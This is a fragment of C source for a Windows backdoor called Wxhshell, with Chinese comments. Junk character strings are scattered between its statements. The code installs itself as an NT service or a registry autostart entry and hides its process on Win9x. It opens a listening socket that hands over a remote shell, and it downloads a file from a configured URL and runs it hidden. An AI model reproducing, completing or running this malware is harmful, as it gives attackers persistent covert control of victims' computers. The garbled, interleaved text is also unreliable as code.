if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GC~N$!* +Z%8X!Q CloseHandle(hProcess); tOw[ 90+Hv:wF if(strstr(procName,"services")) return 1; // 以服务启动 Jv:|J
DZ' t($z+C< return 0; // 注册表启动 6 bt{j } 9;EY3[N %(kf#[zQ // 主模块 K#plSD^f= int StartWxhshell(LPSTR lpCmdLine) +,bgOq\aG { LP}YHW/ SOCKET wsl; < nyk:E BOOL val=TRUE; OY(znVHU int port=0; K.\- struct sockaddr_in door; -!ERe@k( SP5t=#M6 if(wscfg.ws_autoins) Install(); ,
-S n o`[X _ port=atoi(lpCmdLine); ?a-}1A{
XBHv V05mv if(port<=0) port=wscfg.ws_port; Uc|MfxsL WFpR@53Db WSADATA data; ktK/s!bgY if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0d=<^wLi^ v:@ud,d< if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; gPWl# 5P: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }F
(lffb door.sin_family = AF_INET; +PkN~m` door.sin_addr.s_addr = inet_addr("127.0.0.1"); \(xQ'AQ- door.sin_port = htons(port); v7-
d+P= @EcY&mP) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BGVy
\F< closesocket(wsl); [KwwhI@3 return 1; QjwCY=PK! } {m<!-B95 @GE:<'_:{ if(listen(wsl,2) == INVALID_SOCKET) { l ~ /y closesocket(wsl); \{`*`WQF return 1; U>_#,j } 9:6d,^X Wxhshell(wsl); *gXm&/2* WSACleanup(); 7S9Q{ XvW
$B| return 0; -<B{?D NbW5a3= } <(-4?"1 9
!qVYU42( // 以NT服务方式启动 ^o*$+DbC VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "Q<*H<e { _7w2E DWORD status = 0; yj{:%Km:` DWORD specificError = 0xfffffff; 98eS f MHKB:t]hA serviceStatus.dwServiceType = SERVICE_WIN32; Gu9x4p serviceStatus.dwCurrentState = SERVICE_START_PENDING; j\8'P9~% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EM.rO/qcW serviceStatus.dwWin32ExitCode = 0; uDi#a~m@ serviceStatus.dwServiceSpecificExitCode = 0; %uLyL4*L(p serviceStatus.dwCheckPoint = 0; 9CTvG zkw serviceStatus.dwWaitHint = 0; $U/_8^6B0 4lfJc9J hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); },LW@Z} if (hServiceStatusHandle==0) return; K1>(Fs$ Vl+,OBy status = GetLastError(); kXbdR if (status!=NO_ERROR) XD\Z$\UJE { )z?Kq0 serviceStatus.dwCurrentState = SERVICE_STOPPED; Bh,LJawE serviceStatus.dwCheckPoint = 0; tC -H2@ serviceStatus.dwWaitHint = 0; 7'xds serviceStatus.dwWin32ExitCode = status; ,W/D 0 serviceStatus.dwServiceSpecificExitCode = specificError; S+YbsLf SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~cEr<mzR return; >K;'dB/m;1 } MhpR^VM'. q<cpU'-# serviceStatus.dwCurrentState = SERVICE_RUNNING; vXM``| serviceStatus.dwCheckPoint = 0; 3M&75OE serviceStatus.dwWaitHint = 0; L&nGjC+Lr if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VCvqiHn } oWUDTio#[ {m%X\s;ni // 处理NT服务事件,比如:启动、停止 XP-4=0 zd VOID WINAPI NTServiceHandler(DWORD fdwControl) 4hv'OEl { d.&~n`Rv!p switch(fdwControl) M^^u{);q {
" V`MNZ case SERVICE_CONTROL_STOP: ,FPgbs serviceStatus.dwWin32ExitCode = 0; +>5
"fs$Y serviceStatus.dwCurrentState = SERVICE_STOPPED; \l leO|m serviceStatus.dwCheckPoint = 0; D:HeP:.I serviceStatus.dwWaitHint = 0; cNG6 A4 { X7]vXo* SetServiceStatus(hServiceStatusHandle, &serviceStatus); <!vAqqljt } Uq6..<# return; rXz,<^Hmj case SERVICE_CONTROL_PAUSE: s"|N-A=cS serviceStatus.dwCurrentState = SERVICE_PAUSED; +6{KrREX) break; YtrMJ" case SERVICE_CONTROL_CONTINUE: VRoeq { serviceStatus.dwCurrentState = SERVICE_RUNNING; G#! j` break; (Rk g case SERVICE_CONTROL_INTERROGATE: w`Dzk.2 break; EF{_-FXY }; -3r&O: SetServiceStatus(hServiceStatusHandle, &serviceStatus); !lF|90= } C6eo n4Ut LV 94i // 标准应用程序主函数 !m1pL0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T`=N^Ca1!` { )N2yhdcqI `#X{. // 获取操作系统版本 ";e0-t6: OsIsNt=GetOsVer(); $sO}l GetModuleFileName(NULL,ExeFile,MAX_PATH); 7j&l2Z <_H0Q_/( // 从命令行安装 W3K"5E0ck if(strpbrk(lpCmdLine,"iI")) Install(); YAZ=-@]`\ bct&ge7YX // 下载执行文件 [M2,bc8SJV if(wscfg.ws_downexe) { <..%@]+ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6#5@d^a WinExec(wscfg.ws_filenam,SW_HIDE); \o@b5z]e } @11voD ?kb\%pcK if(!OsIsNt) { ^\mN<z( // 如果时win9x,隐藏进程并且设置为注册表启动 >|7&hj$ HideProc(); zT~ GBC-IX StartWxhshell(lpCmdLine); 1)NX;CN } Pwz^{*u] else VPg`vI$(X if(StartFromService()) *(d^k; // 以服务方式启动 &^9>h/-XT StartServiceCtrlDispatcher(DispatchTable); M)EUR0>8 else -ij1%#t z // 普通方式启动 J\
StartWxhshell(lpCmdLine); Ye!= K"b vUH return 0; ,^o^@SI)
}
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